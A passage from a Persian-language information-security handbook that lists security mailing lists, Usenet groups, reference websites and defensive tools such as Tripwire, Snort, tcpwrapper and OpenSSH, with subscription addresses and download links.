هميـشه قبـل از بكـار بـستن         . سطح امنيت شما كمك نمايد    

كنيد، آنها را بـه       اطلاعاتي كه از فهرستهاي پستي دريافت مي      
  . ر دهيددقت مورد ارزيابي قرا

  هاي پستيمشكل بزرگ فهرست

اين است كه با اتكا به آنهـا،          مشكل تمامي فهرستهاي پستي     
اگر در فهرست   . بسادگي ممكن است كلافه و سردرگم شويد      

پستيِ دو تـيم پاسـخگوي مـسائل امنيتـي، چهـار نماينـدگي        
معتبر، و چند گروه تخصصي عضو باشيد، هنگام افشاي يـك           

اهيد بود صدها پيام متفـاوت را در روز         پذيري مجبور خو  آسيب
اين فهرستها  خواهيد از عضويت    در عين حال نمي   .  حذف كنيد 

در آييد؛ چراكه ممكن است موردي را از دست دهيد كه شايد            
  .توانست به اصلاح سيستم شما كمك نمايدمي

رويكردي كه برخي سازمانها با اجراي آن موفقيتهايي بدسـت          
اين فهرستها ميان گروهـي از راهبـران          دي  بناند، تقسيم   آورده
در اين روش هر راهبر در يـك يـا دو فهرسـت پـستي               .  است

كنـد و  عضويت دارد و بر پيامهاي همان فهرستها نظارت مـي         
در . نمايد  پيامهاي مفيد آنها را ميان تمام افراد گروه توزيع مي         

اين حالت بايد مطمئن باشيد اگر يكي از اعضا اين فهرست را            
رك كند يا به مسافرت برود، شخص ديگري وجـود دارد تـا             ت

  .كارهاي او را پوشش دهد

هـاي خبـري      اين پيامهـا در ميـان گـروه         رويكرد ديگر توزيع    
ايـن روش  . ايدايجاد كرده اي است كه مخصوص اينكار    شبكه

ــادر مــي ــا اســتفاده از يــك  شــما را ق ســازد كــه پيامهــا را ب
newsreader     با استفاده از آن، مجموعه      پيشرفته بخوانيد و

پيامهايي كه در آن كلمة كليدي مـورد نظـر و منتخـب شـما               
اين رويكرد همچنـين    . وجود دارد يا وجود ندارد را حذف كنيد       
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كند كه بتوانيد با استفاده از مكانيزم بايگاني،  به شما كمك مي   
يا حتي زمان   و  (ها    پيامهاي مورد نظر خود را براي روزها و هفته        

  .نگه داريد) بيشتري

اينكه بسياري از فهرسـتهاي پـستي امنيتـي، امكـان             بالاخره  
اي از اطلاعـات را نيـز         عضويت براي دريافت روزانة خلاصـه     

در اينصورت اعضا معمولاً هر روز يـك پيـام          . اند  فراهم آورده 
اي از تمام پيامهـاي آن روز       كنند كه خلاصه    واحد دريافت مي  

ها بسيار آسـانتر از تفكيـك        چكيده  اين  مديريت.  را در بر دارد   
البته در اينصورت ممكن اسـت      .  باشدپيامهاي روزانة مجزا مي   

هنگامي به نقاط ضعف پي ببريد كه ساير راهبران و مهاجمان           
  .اندسيستم از ساعتها قبل از آن به آنها واقف شده

  فروشندگان و تيمهاي واكنش معتبر 

 امنيتي براي انتـشار     بسياري از تيمهاي واكنش به رخدادهاي     
ــد  . پيــشنهادات و هــشدارهاي خــود فهرســتهاي پــستي دارن

روزرسـاني و ارائـه     بسياري از فروشندگان نيز براي انتـشار بـه        
مشاوره در زمينة محصولات خـود فهرسـتهاي پـستي دارنـد،          
ــش، و      ــوارة آت ــندگان دي ــه، فروش ــندگان رايان ــل فروش مث

افزارهـاي آزاد و    ي نـرم  شامل برخ (افزارهاي امنيتي     فروشندگان نرم 
توانيد با فروشندة مورد نظر خود  شما مي). افزارهاي اشتراكييا نرم

تماس بگيريد و پس از اطمينان از وجود چنين فهرسـتي، بـه             
به عنوان مثال بـراي عـضويت در فهرسـت          . آن ملحق شويد  

پستي خدمات امنيتي مايكروسافت، كافي است به آدرس زيـر          
  :نام نماييدمراجعه و در آن ثبت 

http://register.microsoft.com/regsys/pic.asp 

  فهرستهاي پستي مهم 
  .شوددر اينجا به چند فهرست پستي مهم اشاره مي

Bugtraq  
ارسال پيام در آن نيازي به تأييد       (يك فهرست پستي بدون سردبير      

در ايـن فهرسـت     . در زمينة امنيـت رايانـه اسـت       ) سردبير ندارد 
ــستي مباحــاث مــش ــهپ ــي روح در خــصوص رخن هــاي امنيت

ها چه هستند، چگونـه     رخنه: شود ارائه مي  Unixعامل   سيستم
توان آنهـا   برداري كرد، و با چه روشي مي      توان از آنها بهره   مي

هـدف ايـن فهرسـت پـستي شـامل تعريـف،            . را اصلاح نمود  
تشخيص، و جلـوگيري از مـورد سـوء اسـتفاده قـرار گـرفتن               

تي است و نه حمله به سيستمها يـا         مشكلات و مخاطرات امني   

گرچه هدف بيشتر اعضاي آن     (پذيريهاي آنها   برداري از آسيب  بهره
توانيد براي عضويت در اين فهرست پستي مي      ). همين امر است  

ــاه وب  ــه پايگــ  http://www.securityfocus.comبــ
به اين نكته توجه داشـته باشـيد كـه مـا نكـات         . مراجعه كنيد 

ايـن     كـه در      ايـم را نيـز ديـده و شـنيده       ناصحيح و نادرسـتي     
اند اشتباهات پيامهاي   افرادي كه آماده  . اندفهرست ارسال شده  

شده در ايـن فهرسـتها را كـشف كننـد معمـولاً علاقـة               پست
اگر نگـران   . خاصي دارند كه هويت واقعي خود را فاش نكنند        

اين موضوع هستيد، با احتياط بيشتري به اين فهرسـتها پيـام            
  .نماييدارسال 

SecurityFocus          فهرستهاي پستي ديگـري نيـز دارد كـه 
هاي عسل، انـواع    يابها، كوزه مثل مهاجم (مربوط به ساير ابعاد امنيت      

 يـا   Linuxمثـل    (Unixو يا انواع خـاص سيـستمهاي        ) ويروسها
يك فهرست پستي جذاب، فهرسـت      . شودمي) Sunسيستمهاي  

ص گـزارش   اسـت كـه مخـصو     ) incidents" (رخدادها"پستي  
باشـد؛ كـه بـه      حملات و نفوذهاي واقعي بـه سيـستمها مـي         

  . تعلق داردSymantecشركت 

NTBugtraq  
يك فهرست پستي بدون سردبير در زمينة امنيت رايانه بـراي           

 2000هاي شامل نسخه (Windows NTسيستمهاي مبتني بر 
 جزء موضوعات اين فهرست     NTمباحث غير مرتبط با     ). XPو  

ايـن فهرسـت پـستي از         توان گفت كـه     مي. ندباش  پستي نمي 
بـراي  .  شبيه است  Bugtraqبعضي جهات به فهرست پستي      

عضويت در اين فهرست پـستي بـه پايگـاه وب آن در آدرس              
  :زير مراجعه نماييد

http://www.ntbugtraq.com 

CERT Advisory  
   CERTهـــاي جديـــد مركـــز هماهنگيهـــاي    توصـــيه

)CERT/CC (  هــاي امنيتــي  وصــلهدر مــورد اشــكالات و
. شـود اي در اين فهرسـت پـستي درج مـي           سيستمهاي رايانه 

كننده است؛ چراكه معمولاً      مطالعه اين فهرست تا حدي خسته     
تـوان بـه آسـاني      راهكارهاي آن آنقدر جزئي هستند كه نمـي       

 عليرغم اين مسئله، اين فهرست هم        .هدف آنها را متوجه شد    
يت در ايـن فهرسـت      بـراي عـضو   . مزاياي خاص خود را دارد    

پستي، درخواست عضويت خود را به آدرس پست الكترونيكي         
majordomo@cert.org  بفرســتيد و در مــتن پيــام خــود

  .را قيد كنيد" subscribe cert-advisory"عبارت 
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اند در آدرس زيـر     هايي كه در گذشته ارائه شده     بايگاني توصيه 
  : وجود دارد

http://www.cert.org/nav/alerts.html 

Computer Underground Digest  
ــادر از توصــيه  هــاي ارســالي در خــصوص يــك مجموعــة ن

. اي  محرمانگي، امنيت، قـانون، و اطلاعـات زيرزمينـي رايانـه          
نيست " زيرزميني"اين فهرست داراي مطالب       برخلاف نام آن،    

 بلكه دربرگيرندة اطلاعاتي در مورد محيط پيرامـوني رايانـه           -
 فعاليت اين فهرسـت پـستي       ۲۰۰۰نه در سال  متأسفا.  باشدمي

متوقف شد و هنوز معلوم نيست آيا قرار است مجـدداً فعاليـت             
اين فهرست پستي در قالب گـروه خبـري         . آن آغاز شود يا نه    

comp.society.cu-digest   در Usenet    وجود داشت؛ و 
اين فهرسـت در  . گروه خبري بهترين ابزار براي انتشار آن بود  

 اينترنت بايگاني شده اسـت، از جملـه در        ي در محلهاي متعدد 
  :آدرس زير

http://sun.soci.niu.edu/~cudigest 

Firewalls  
كـه توسـط    ) firewalls" (هـاي آتـش   ديـواره "فهرست پـستي    

شـود  اينترنتي مديريت و ميزباني مـي  افزارهاي    كنسرسيوم نرم 
محل تبادل نظر افرادي است كـه مايلنـد در مـورد طراحـي،              

 عملكرد، نگهداري و فلسفة سيستمهاي امنيتـي ديـوارة       توليد،
براي عـضويت در ايـن فهرسـت        .   اينترنتي بحث نمايند    آتش

  :پستي به پايگاه وب زير مراجعه نماييد
http://www.isc.org/services/public/lists/firewa
lls.html 

معمولاً در  (پيامهاي اين فهرست پستي معمولاً بسيار زياد است         
براي ). رسد  ا پيام در روز كه گاهي به بيش از صدها پيام هم مي            حد دهه 

خواهنـد صـندوق پـست        راضي نگهداشتن اعضايي كـه نمـي      
شان مملو از پيامهاي مختلف اين فهرست پـستي         الكترونيكي

شـده از   اي بـراي ارسـال يـك نـسخة خلاصـه          باشد، گزينـه  
ب پيامهاي هر روز نيز وجود دارد و اصـل پيامهـا در پايگـاه و              

  .گرددبايگاني مي

Firewall-Wizards  
يك فهرست پستي كه ارسال پيام در آن نياز به تأييد سردبير            

سـازي   تنها به مسائل مربوط به طراحـي و پيـاده         آن دارد و نه   
پردازد، بلكه ساير عناوين مهم در امنيـت        هاي آتش مي  ديواره

ويت براي مطالعة بايگاني و يا عـض   .  گيرد  شبكه را نيز دربر مي    
  :توانيد به آدرس زير برويد در اين فهرست پستي مي

http://honor.icsalabs.com/mailman/listinfo/fir
ewall-wizards 

RISKS  
اين فهرست پستي از لحـاظ رسـمي بعنـوان اتـاق گفتگـوي              

هــا و  درخــصوص مخــاطرات كــاربرد رايانــهACMمؤســسه 
ام در  ارسال پي . شودسيستمهاي مرتبط براي عموم شناخته مي     

اين فهرست پـستي نيـاز بـه تأييـد سـردبير آن دارد و در آن                 
اي شـدن  هـا و رايانـه  مباحثي درخصوص مخاطراتي كه رايانه  

پيامهاي اين فهرست   . گرددبراي جوامع در پي دارد عنوان مي      
شـود و    نيز منتـشر مـي     comp.risksپستي در گروه خبري     

ت پيامهاي  عضويت در اين گروه خبري راه بهتري براي درياف        
 اســتفاده Usenetاگــر از خــدمات . فهرســت پــستي اســت

ــي ــد  نمــ ــي(كنيــ ــاه وب     و نمــ ــا را از پايگــ ــد پيامهــ خواهيــ
http://groups.google.com     توانيـد    مـي )  دريافت و مطالعه نماييـد

درخواســت عــضويت خــود را بــه آدرس پــست الكترونيكــي  
risks-request@csl.sri.com ــة ــتيد و كلمـــ  بفرســـ

"subscribe"را در متن آن قرار دهيد .  
موضـوعاتي كـه در گذشـته در ايـن فهرسـت پـستي مطــرح       

و يـا پايگـاه     ) آدرس فـوق   (googleاند نيز در پايگـاه وب        شده
  .باشند موجود ميhttp://www.risks.orgوب 

Security Alert Consensus SANS 
هــا و  ايــن فهرســت پــستي يــك چكيــدة هفتگــي از اعــلان

.  پستي و فروشـندگان مختلـف اسـت       هشدارهاي فهرستهاي   
تواند تنها به مسائل مربوط     عضويت در اين فهرست پستي مي     

بـراي عـضويت،    . عامل خـاص محـدود شـود          به يك سيستم  
  .  مراجعه كنيدhttp://sans.orgتوانيد به پايگاه وب  مي

 Usenetهاي  گروه

توانند   اينترنت وجود دارند كه مي      هاي خبري متعددي در       گروه
. امنيت شبكه و موضوعات مرتبط باشـند        بع خوبي در مورد     منا

كـه در آنهـا   (اما در عين حال فهرستهاي پستي بـدون سـردبير       
بيش از گروههاي خبـري     ) هريك از اعضا مجاز به ارسال پيام است       

ــد  ــر دارن ــردبير دردس ــدون س ــه: ب ــوعات  مجموع اي از موض
ابـت  ايـن نگرانـي از ب     . اهميت، تكراري، و بعضاً ناصـحيح      كم

شود و قبلاً هم بـه      مطالبي كه در فهرستهاي پستي يافت مي      
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هـاي خبـري بطـور مـضاعف          آن اشاره شد، درخصوص گروه    
  .كندصدق مي

هايي در مورد امنيت رايانه، شامل پيـشنهادات جديـد          اطلاعيه
  ):ارسال مطالب تنها با تأييد سردبير (CERTمركز هماهنگيهاي 

comp.security.announce 

  :UNIXامنيت 
comp.security.unix 

  :مطالب متفرقه در ارتباط با امنيت شبكه و رايانه
comp.security.misc 

  

  :هاي آتشاطلاعاتي در مورد ديواره
comp.security.firewalls 

اي و موضــوعات  اطلاعــاتي در خــصوص ويروســهاي رايانــه
  ):ارسال مطالب تنها با تأييد سردبير(مرتبط 

comp.virus 

  :رتبط با سياستهاي راهبري رايانه، از جمله امنيتموضوعات م

comp.admin.policy 

  :، از جمله امنيت آن TCP/IPنكات مهم در 
comp.protocols.tcp-ip 

، از جملـه   Unixموضوعات مـرتبط بـا راهبـري سيـستمهاي          
  :امنيت

comp.unix.admin 

  : مباحثي پيرامون رمزنگاري و كاربردهاي آن
sci.cypt  

  ):ارسال مطالب تنها با تأييد سردبير(پيرامون رمزنگاري تحقيقاتي 
sci.crypt.research 

ارسال مطالـب   ( كه پيشتر به آن اشاره شد        ACMاتاق گفتگوي   
  ):تنها با تأييد سردبير

comp.risk 

شركت مايكروسافت داراي دهها گـروه خبـري در ارتبـاط بـا              
ز آن  افزارهـاي خـود اسـت، كـه ا        عاملها و نـرم     امنيت سيستم 

  :اند موارد زيرجمله

microsoft.public.security, 
microsoft.public.win2000.security, 
microsoft.public.windowsxp.security_admin 

  هاي وبپايگاه

هزاران صفحة وب وجود دارند كه در هريك از آنها آدرسهايي      
برخـي از صـفحات بـسيار       . شودبراي مراجع ديگر نيز پيدا مي     

آنچـه  . ستند و برخي ديگر مطالب كمتري در بر دارند        جامع ه 
ايم نقطة شـروع مناسـبي      در فهرست زير مورد اشاره قرار داده      

همچنين با استفاده از اين مجموعـه       . براي آغاز جستجو است   
كه به يك يا چند تا از ايـن         (هاي ديگري بيابيد    توانيد زيرشاخه  مي

د يـك فهرسـت     و از اين طريق براي خو     ) صفحات متصل هستند  
  .راهنما تهيه نماييد

CIAC) ٥٠٣)ايمشاورين رخداد رايانه  
 يك بايگاني خوب و مجهز از ابزارها و CIACكارمندان 

اين . اندمستندات را در پايگاه وب خود قابل دسترسي كرده
اي از نكات و پيشنهادات آنها و همچنين بايگاني شامل نسخه

  : باشدافزارهاي محلي مي برخي نرم
http://ciac.llnl.gov 

CERIAS)    ــي و ــات آموزش ــي اطلاع ــه و ايمن ــز بيم مرك
  ٥٠٤)تحقيقاتي

 اي  رايانـه   عمليات، مميزي و فناوري امنيـت      جانشين موسسة 
)COAST(است كه يك مركز تحقيقاتي در زمينـة امنيـت           ٥٠٥ 

اين مركز  . باشد مي Purdueاطلاعات و آموزش در دانشگاه      
دسـان شـركتهاي بـزرگ و      ارتباط تنگاتنگي با محققان و مهن     

ــي دارد ــاي .  مؤســسات دولت ــت فعاليته ــر CERIASفعالي  ب
  . نيازهاي تحقيقاتي و محدوديتهاي دنياي واقعي متمركز است

ترين بايگاني از     برگيرندة قديمي   از منظر تاريخي، اين مركز در     
ايـن  . ابزارها و مراجع امنيتي مورد استفاده در اينترنـت اسـت          

 بوجـود   FTP عنوان تنها يك پايگـاه        به ۱۹۸۹مركز در سال    
آمد و كار خود را با بايگاني كردن ابزارهاي ضـدويروس آغـاز           

هـاي  كرد و بتدريج حيطة خود را به انواع پويـشگرها، ديـواره           
اين پايگاه بـا اسـتفاده    . آتش و مستندات مختلف گسترش داد     
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هــاي وب و از يــك دهنــده و ســرويسgopherاز سيــستم 
آغـاز بـه كـار كـرد، بـه          ) Spaffordعلق به   مت(بايگاني شخصي   

 تبديل شد، و سپس به بايگـاني    COASTبايگاني آزمايشگاه   
اين مركـز در دهـة اول       .  مبدل گشت  CERIASفعلي يعني   

امنيتـي در     فعاليت خـود بعنـوان بزرگتـرين بايگـاني مطالـب            
  .شداينترنت شناخته مي 

نـوعي از  طي ساليان اخير، اين بايگاني و برخي فهرسـتها بـه       
اند و نسبت به گذشته مطالب كمتـري روي         هم انشعاب يافته  

بسياري از پايگاههاي وب تجاري داراي منـابعي        (شود    آنها منتشر مي  
هستند كه با استفاده از آنها و پرداخت كارمزد به يك متـصدي، بايگـاني               

توانـد  اين وجود، ايـن بايگـاني مـي    با .  )انـد تري درست كرده  جامع
 عظــيم از ابزارهــا و اســناد مفيــد شــامل برخــي اي مجموعــه

شـوند را در      هاي ديگـر يافـت نمـي       موضوعاتي كه در بايگاني   
 و  CERIASاختيارتان قرار دهد؛ بعلاوة مستنداتي كه توسط        

علاوه بـر ايـن مـوارد،       . شونديا مؤسسات همكار آن توليد مي     
آدرسهاي زيادي از پايگاه وب سازمانها و منابع ديگـر نيـز در             

  :آدرس پايگاه وب اين مركز عبارت است از.  ن وجود داردآ
http://www.cerias.purdue.edu/infosec/ 
ftp://ftp.cerias.purdue.edu 

FIRST) ٥٠٦)تيم ايمني و مركز واكنش به رخدادها  
حـاوي يـك بايگـاني      آن  اي كه پايگاه وب دبيرخانـة       مؤسسه

ــه آدرســهاي صــفحات وب ســاير   ــب، از جمل وســيع از مطال
  : باشد  ميFIRSTتيمهاي 

http://www.first.org 

NIST CSRC  
 مؤســسه ملــي فنــاوري و اســتاندارداي بخــش امنيــت رايانــه

)NIST(بايگاني قابل اعتمـاد، مفيـد، و جـامعي از اسـناد و              ٥٠٧ 
  :ابزارها دارد

http://csrc.nist.gov/index.html 

Insecure.org  
آن آدرسـهاي   ، كه در    nmapپايگاه اصلي ابزار پويش پورت      

هاي فهرستهاي پـستي مهـم و سـاير         وب بسياري از بايگاني   
  :اطلاعات امنيتي نيز وجود دارد

http://www.insecure.org 
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NIH) ٥٠٨)مؤسسات ملي سلامتي 
ــلي   ــفحة وب اص ــهاي  NIHص ــيعي از آدرس ــة وس  مجموع

  :كندهاي را ارائه مياينترنتي مربوط به ساير منابع و بايگاني
http://www.alw.nih.gov/security/ 

  افزاري منابع نرم

افزاري   هاي نرم   در اين قسمت به معرفي برخي ابزارها و بسته        
توانند براي تأمين   پردازيم كه مي   اينترنت مي   قابل دسترس در  

افزارهـا   اين نـرم  گرچه . هاي وب مفيد واقع شوند    امنيت پايگاه 
 رايگان هستند، اما بخشي از آنهـا بـه طـرق مختلـف توسـط              

توان از آنها در      عنوان مثال نمي    به(اند  توليدكنندگانشان محدود شده  
هـاي روي ديـسكهاي   اهداف تجاري استفاده كرد و يا آنرا در كنار برنامـه  

و يـا بوسـيلة قـوانين و ضـوابط          ) فشردة محصولات ديگر قـرار داد     
عنوان مثـال اگـر حـاوي رمزنگـاري باشـند،             به( ايالات متحده     دولت

). ي از نظر صـادرات و اسـتفاده در امـاكن خـاص وجـود دارد           محدوديتهاي
شوند را    افزاري توزيع مي    هاي نرم   مستنداتي كه همراه با بسته    

اگر در مـورد نحـوة اسـتفادة        . به دقت مورد مطالعه قرار دهيد     
توانيد مستقيماً بـا    صحيح و محدوديتهاي آن ترديد داريد، مي      

  .توليدكنندگان آنها تماس بگيريد

انـد را  افزارهايي كه در اين فهرسـت آمـده        ه ما بيشتر نرم   اگرچ
تـوانيم مـسئوليت عملكـرد        ايم، اما نمي  مورد استفاده قرار داده   

اينكـه آيـا      ايـد و    اي كه شما آنرا دريافت كـرده      صحيح نسخه 
 را بـر     كند يا خير    ايجاد مي   كاربرد آن در سيستم شما مشكلي       

گـر، ابتـدا ايـن ابزارهـا را         افزار دي   مشابه هر نرم  . عهده بگيريم 
  .بيازماييد و سپس از آنها استفاده نماييد

 براي  PGPافزار، داراي يك كليد       كنندگان نرم برخي از توزيع  
دهـد   اين امضا به شـما امكـان مـي        . امضاي ديجيتالي هستند  

افـزاري كـه شـما         كه آيـا نـسخة نـرم        بتوانيد تشخيص دهيد  
ه توسط نويـسندة آن     اي است ك  ايد همان نسخه  دريافت كرده 
ايـن امـضا    بـا اينحـال   . افزاري تبديل شده يا خير  به بستة نرم  

  .آوردافزار بوجود نمي  مشروعيت خود نرم ضمانتي در قبال

توانـد    خاطر اطمينان بيشتري كه يك امضاي ديجيتالي مي         به
 اينترنـت بيافزايـد، مـا بـه          شده از طريق  افزارهاي توزيع   به نرم 

كنيم كه گامهاي اضافه    افزار توصية اكيد مي     متوليدكنندگان نر 

                                                                  
508 National Institutes of Health 

https://telegram.me/karnil
www.karnil.com


 ٤٨٤  راهنماي امنيت فناوري اطلاعات

براي توليد يك امضاي ديجيتـالي مـستقل بـراي هـر بـستة              
افزارها را  همچنين به كاربراني كه نرم    . افزاري را طي كنند    نرم

كنـيم كـه پـيش از         دارند نيز توصيه مي    از اينترنت دريافت مي   
 را نيـز  افزارهاي بدون امضا، حتماً چند منبع ديگـر     دريافت نرم 

  .هاي امضاشده مورد بررسي قرار دهندبراي يافتن نسخه

  ابزارهاي دو منظوره

Kerberos  
يك سيستم تصديق هويت امن تحت شـبكه كـه بـر مبنـاي              

متن برنامـه و مقـالات      . كندرمزنگاري كليد خصوصي كار مي    
يـا همـان    (اين سيستم از طريق مؤسسه فنـاوري ماساچوسـت          

توانيد بـا   براي اين منظور مي   .   است قابل دريافت ) MITدانشگاه  
  :آدرس زير مكاتبه نماييد

MIT Software Center 
W32-300 
20 Carlton Street 
Cambridge, MA 02139 
(617) 253-7686 

اينترنـت     ناشـناس بـراي انتقـال فايـل در           FTPتوانيد از     مي
  :استفاده نماييد

ftp://athena-dist.mit.edu/pub/kerberos 

Kerberosعامــــل  در سيــــستمWindows 2000 و 
  .ويرايشهاي بعد از آن جاسازي شده است

Nmap   
يك پويشگر پورت كه هم نفوذگران براي نفوذ و هم راهبران           

كنند و قابليت انجام    براي دفاع در برابر نفوذ از آن استفاده مي        
 ICMP و   TCP  ،UDPپويشهاي گونـاگون روي پورتهـاي       

ه معمولاً نفـوذگران از آن بـراي فعاليتهـاي    از جمله پويشهاي مخفيانه ك   (
عاملهـا    ، و قابليت پيچيدة تـشخيص سيـستم       )گيرند  خود بهره مي  

  .از راه دور را دارند) عاملشركت توليدكننده و ويرايش سيستم(

  :اين برنامه در پايگاه وب زير قابل دسترسي است
http://www.insecure.org 

OpenSSH   
 ٥٠٩پروتكـل لايـة امـن     سـازي    پيـاده  افزار آزاد بـراي     يك نرم 

سـازي ايمـن پايانـه، اجـراي      بمنظور نمونه )  ۲ و   ۱ويرايـشهاي   (

                                                                  
509 Secure Shell Protocol 

كه ايمني آن با تكيه بر رمزنگاري (فرامين، و انتقال فايل از راه دور  
 طراحـي   OpenBSDافزار در پـروژة       اين نرم ). پديد آمده است  

عاملهـاي  شد، اما نسخة قابل انتقـال آن روي غالـب سيـستم             
Unix     عاملهاي مختلف قابـل اجـرا           و بسياري ديگر از سيستم
افزارهـاي آزاد زيـادي      نرم Windowsهمچنين تحت   . است

اند، ماننـد ابـزار      بوجود آمده  SSHهاي  گيرندهبعنوان سرويس 
PuTTY .            پيش از اينكه به شـبكه متـصل شـويد، سـرويس

telnet                 را غيرفعال نماييـد و اگـر بايـد از طريـق شـبكه بـه 
ــ ــويد، سيـ ــر  (OpenSSHستم متـــصل شـ ــواع ديگـ ــا انـ يـ

توانيـد    مي. اندازي نماييد را نصب و راه   ) SSHهاي   دهنده سرويس
OpenSSHرا از پايگاه وب زير دريافت كنيد :  

http://www.openssh.org 

OpenSSL   
 ٥١٠لايـة سـوكت امـن     سـازي   افـزار آزاد بـراي پيـاده        يك نرم 

افـزار،   اين نرم). ۱نـسخة   (و امنيت لاية انتقال) ۳ و ۲هاي    نسخه(
كند كه معمولاً مورد     اين پروتكلها فراهم مي     اي براي كتابخانه

) هـاي وب  دهنـده  مثل سـرويس  (هاي ديگر   دهندهاستفادة سرويس 
ايجـاد    همچنين يك ابـزار خـط فرمـان بـراي           . گيرد  قرار مي 

هـا، امـضاها و   ، گـواهي ٥١١هـاي رمـزي   درخواستهاي گـواهي  
توانيد    را مي  OpenSSL.  كند  فراهم مي هاي تصادفي،     شماره

  :در پايگاه وب زير بيابيد
http://www.openssl.org 

Snort   
 و  ٥١٢هـا بـاني بـسته   ديـده افـزار آزاد قدرتمنـد بـراي          يك نرم 

مجموعـه ضـوابط سيـستم      .   يـاب اسـت   سيستمهاي مهـاجم  
شـود و آنـرا قـادر بـه           روزرساني مي   ياب بطور منظم به   مهاجم

 كـه تحـت     TCP/IPهـاي     بلادرنـگ بـسته   تجزيه و تحليل    
ايـن  . نمايـد نظارت دارد، و نيز گزارش ترافيك مشكوك مـي        

  :افزار را از پايگاه وب زير دريافت كنيدنرم
http://www.snort.org 

Tripwire    
 Gene Spafford و Gene H. Kimكه توسـط   (Tripwireبرنامة 

حت فايلهـا   ، يكپارچگي و ص   ) نوشته شده است   purdueاز دانشگاه   
كند و ابزاري است كه وضعيت فعلـي مجموعـة          را بررسي مي  

                                                                  
510 Secure Socket Layer 
511 Cryptographic Certificate Requests 
512 Packet Sniffing 
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ها را با اطلاعات مشابه موجـود در        مشخصي از فايلها و شاخه    
شـده،  نمايـد و فايلهـاي اضـافه   يك پايگـاه داده بررسـي مـي     

شده، و فايلهايي كه محتويات آنهـا تغييـر كـرده           فايلهاي پاك 
 زماني معين برنامـة     طي يك برنامة  . دهدباشند را گزارش مي   

Tripwire      در اينـصورت برنامـه در هـر        .  را به اجرا در آوريـد
دهد و ايـن    اجراي خود تغييراتي را به راهبر سيستم نشان مي        

آورد كه خرابيها بسرعت كشف و اقـدامات        امكان را بوجود مي   
  .كنترلي براي مقابله با آنها بسرعت آغاز شوند

  :ب زير قابل دسترسي است در پايگاه وTripwireنسخة آزاد 
http://www.tripwire.com/ddownloads 

 Unixعامل ابزارهاي سيستم

Chrootuid   
اجراي خدمات شبكه را بـا  ) ٥١٣ويتز ونمـا  نوشتة   (daemonاين  

امتياز دسترسي كم و دسترسي محدودشده به سيـستم فايـل            
ــراي اجــراي  از ايــن برنامــه مــي. كنــدتــسهيل مــي تــوان ب

هـاي شـبكه در يـك       daemonب و سـاير     دهندة و  سرويس
ها هركـدام تنهـا بـه       daemon: محيط كوچك استفاده كرد   

هاي خود دسترسي دارند و با يـك نـام كـاربري            درخت شاخه 
اين تركيـب، عواقـب     . آيندفاقد امتياز دسترسي به اجرا در مي      

 در حـال اجـرا را بـه         daemonمشكلات امنيتي محتمل در     
  . دهد شدت كاهش مي

  :امه از طريق پايگاههاي وب زير قابل دريافت استاين برن
ftp://ftp.porcupine.org/pub/security/index.html 
ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysu
tils/chrootuid/ 

Portmap   
برنامة جايگزيني براي ) نوشتة ويتز ونما (portmapخدمات 

رنامه داراي اين ب.  استSun شركت portmapperبرنامة 
باشد كه در قابليتهاي كنترل دسترسي و ورود به سيستم مي

portmapper شركت Sunهمچنين با در .  وجود نداشتند
اختيار داشتن متن برنامه، هنگام بروز مشكل قادر خواهيد بود 
كه برنامة مورد نظر خود را وارد سيستم كنيد و يا در صورت 

  .اييدلزوم ويژگيهايي را به آن اضافه نم
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  :اين برنامه از طريق پايگاه وب زير قابل دريافت است
ftp://ftp.porcupine.org/pub/security/index.html 
ftp://ftp.cerias.purdue.edu/pub/tools/unix/netu
tils/portmap/ 

Portsentry   
يك برنامة تدافعي در مقابل پويشگرهاي پـورت كـه ممكـن            

 روي Portsentry.  اسـت پـيش از يــك حملـه آغـاز شــود    
ايستد و زمـاني     به انتظار مي   TCP/IPپورتهاي استفاده نشدة    

كه افراد بيروني قصد برقراري ارتباط با يـك يـا چنـد پـورت               
ايـن عمليـات    . شـود   تحت نظـارت را دارنـد، وارد عمـل مـي          

تواند شامل اضافه كردن نـام ميزبـان پويـشگر بـه مـسير               مي
/etc/host.deny    ـ  ان بـه ضـابطة منـع    ، افزودن نام آن ميزب

كنندة بسته، و يا اجراي ساير دستورات       يك ديوارة آتش غربال   
  :اين برنامه در آدرس زير موجود است. دلخواه باشد

http://suorceforge.net/projects/sentrytools/ 

Swatch   
 Stanfordاز دانـشگاه    ) ٥١٤تـاد اتكينـز   نوشتة   (swatchبرنامة  

امه فايلهاي ثبتي كه توسـط      اين برن .  گر ساده است    يك نظاره 
شود كند و باعث مي    بوجود آمده را نظارت مي     syslogبرنامة  

هـاي  شـده و نمونـه    كه راهبر بتواند در پاسخ بـه وقـايع ثبـت          
مثل فرستادن يك هشدار از طريق پست       (مختلف رخدادهاي امنيتي    

العمـل مناسـبي     عكس  )الكترونيكي، فراخواندن يك شخص، و غيـره      
  .انجام دهد

  :اين برنامه از طريق پايگاههاي وب زير قابل دريافت است
http://www.oit.ucsb.edu/~eta/swatch/ 
ftp://ftp.cerias.purdue.edu/pub/tools/unix/log
utils/swatch/ 

Tcpwrapper   
شـود بتوانيـد بـر      كـه باعـث مـي     ) نوشـتة ويتـز ونمـا       (سيستمي  

آيـد  يدهنـده م ـ   بـراي سـرويس    inetdدرخواستهايي كـه از     
توانيد با استفاده از اين برنامه        مي. نظارت و آنها را غربال كنيد     

 اينترنتـي    توانيـد بـصورت انتخـابي از دسترسـي ميزبانـان          مي
خاصي به پايگاه خـود جلـوگيري كنيـد، و يـا در عـوض بـه                 

  .ميزبانان خاصي اجازة دسترسي بدهيد

  :اين برنامه از طريق پايگاههاي وب زير قابل دريافت است
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ftp://ftp.porcupine.org/pub/security/index.html 
ftp://ftp.cerias.purdue.edu/pub/tools/unix/net
utils/tcp_wrappers/ 

Tiger    
Tiger       از دانـشگاه    ٥١٥دوگ شـالز   كه نسخة اصلي آن توسط 

Texas A&M) TAMU (  ــه از ــك مجموع ــده، ي ــته ش نوش
بال  را بـدن   Unixهـايي اسـت كـه يـك سيـستم           برنامهقطعه

 ابتـدا بـراي فـراهم       Tiger. كنـد مشكلات امنيتي پويش مي   
 در محـيط دانـشگاه      Unixكردن يك كنترل به سيـستمهاي       

A&M               ايجاد شد، چون كـاربران نيـاز داشـتند كـه بتواننـد از 
پـيش از   . خارج دانشگاه نيز با سيستم آن ارتباط برقـرار كننـد          

ور تغييـر   كنندة بسته به اين منظ ـ    هاي آتش غربال  آنكه ديواره 
 سربلند  Tigerبايد از كنترلهاي آزمون     داده شوند، سيستم مي   

 تقريبـاً مـورد     ۱۹۹۹ تـا    ۱۹۹۴ از سـال     Tiger. آمدبيرون مي 
